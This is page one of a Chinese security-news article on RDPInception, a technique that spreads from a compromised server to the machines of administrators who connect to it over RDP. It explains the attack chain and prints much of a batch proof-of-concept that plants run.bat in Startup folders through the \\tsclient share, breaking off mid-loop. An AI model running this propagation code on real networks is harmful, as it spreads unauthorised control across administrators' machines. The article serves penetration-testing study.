欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

RDPInception:一种利用远程桌面的新型攻击方式

来源:本站整理 作者:佚名 时间:2017-07-11 TAG: 我要投稿


远程桌面(Remote Desktop)是系统管理员管理计算机设备的常用方法。在很多组织机构内部,针对DMZ或隔离网络区域内的计算机设备,为了限制其它接入端口风险,通常对这些设备只开启3389,使用远程桌面来进行管理维护。那如何成功地对这种受限网络设备完成渗透测试呢?今天我们就来探讨一种新型攻击方法:RDPInception。
在远程桌面中,用户可以在“本地资源”选项中,选择要在远程会话中共享使用的“本地设备和资源”,如本地磁盘和打印机等,如图所示:

现在,被安全研究者提及较多的是,远程桌面方式存在一种理论攻击路径风险:通过入侵一台计算机或服务器,在其操作系统“做手脚”,实现某些攻击向量的后门化,以RDP连接请求为“中介跳板”,对以RDP方式接入这台设备的外来访客计算机发起攻击或感染,这种攻击被称为RDPInception(远程桌面的盗梦空间?)。
RDPInception攻击最新研究
ActiveBreach团队的Vincent Yiu根据这种攻击思路开发了一个概念性验证PoC脚本,利用该脚本可以以递归方式对RDP接入设备的访客计算机发起攻击,通过这种反向层层传导、步步顺藤摸瓜的手法,直至对任何向目标设备发起RDP请求连接的计算机形成攻击控制。目前,该攻击已有效应用于ActiveBreach团队多种模拟评估和复杂渗透测试场景中。大体思路是这样的:
在渗透测试中,如果我们获得某台服务器C的控制权,而最终目标是PC X,但由于对方高度安全的网络环境限制,我们只有采取RDPInception攻击方式,通过对接入C的服务器B进行攻击控制,之后,对接入B的服务器A进行攻击控制,最终,对接入A的PC X形成攻击控制。
整个攻击链如下:
PC X RDP to Server A
Server A RDP to Server B
Server B RDP to Server C
RDPInception攻击机制
总体来说,RDPInception基于“启动(Startup)”程序,也就是利用大家熟知的“启动项”目录,强制登录进入的RDP访客计算机执行恶意代码。大概场景如下:

在该场景中,处于外网攻击者通过其它渗透手段已经获得了数据库服务器DB001的管理控制权,正试图利用该服务器为据点发起RDPInception攻击。
处于内网的组织机构内部管理员利用笔记本电脑LAPTOP001,通过RDP方式连入某台跳板节点服务器MJB001,然后再通过该服务器RDP连入某域控服务器DC001,通过DC001 RDP连入文件服务器FILE001,最后由FILE001 RDP连接至被攻击者控制的数据库服务器DB001。
在这条攻击链路中,攻击者可以在任意计算机设备中发起RDPInception攻击。按照RDPInception攻击理论,只要管理员以RDP方式登录到这条路径中的任何一台设备,攻击者就可以循环反复获取到所有设备的管理控制shell。而攻击者唯一要做的就是在DB001上发起RDPInception攻击,一旦DB001受到攻击“感染”,之后,只需静静等待管理员发起RDP连接请求,其余的后续攻击可由程序自动完成。这种攻击技术无需用户凭证或其它漏洞利用,可在受限网络环境的横向渗透测试中发挥作用。
RDPInception攻击应用场景
这种攻击适用于端口和应用等其它接入条件高度受限的网络环境下,当其它横向渗透技术或提权操作被用完用尽,陷入“黔驴技穷”和一筹莫展状况时,可考虑使用此招。
我们可以来假设一种现实中的攻击应用场景:某公司员工在凌晨4点通过远程RDP方式登录受控服务器,整个登录会话持续了5分钟。在这种情况下,即使蹲点守候的攻击者持续监控接入的RDP会话,但也很难马上部署好攻击或诱骗环境。另外,长时间大流量的RDP网络会话监控可能会引起对方怀疑,而即使是间隔每小时的流量监控设置也会错过一些RDP登录会话接入。所以,RDPInception就不存在这种问题,不用持续监控,只需对入侵服务器部署好攻击向量,姜太公钓鱼,自会让那些愿者陆续上钩。
RDPInception攻击实现
RDPInception的PoC验证程序是一个简单的批处理脚本,详细使用步骤如下:
关闭echo响应功能:
@echo off
设置一个短时计数器,以确保tsclient进程被完全加载:
timeout 1 >nul 2>&1
在RDP接入的访客设备以及被控目标主机上创建临时目录:
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
将我们在Github提供的批处理文件run.bat拷贝到以上两个目录:
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
确保在临时目录下不存在txt文件:
del /q %TEMP%\temp_00.txt >nul 2>&1
在RDP访客主机以及被控目标主机上识别出所有系统启动目录:
set dirs=dir /a:d /b /s C:\users\*Startup*
set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”
echo|%dirs2%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”
将上述run.bat批处理文件一一拷贝到以上目录下:
for /F “tokens=*” %%a in (%TEMP%\temp_00.txt) DO (
copy run.bat “%%a” >nul 2>&1
copy C:\temp\run.bat “%%a” >nul 2>&1

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载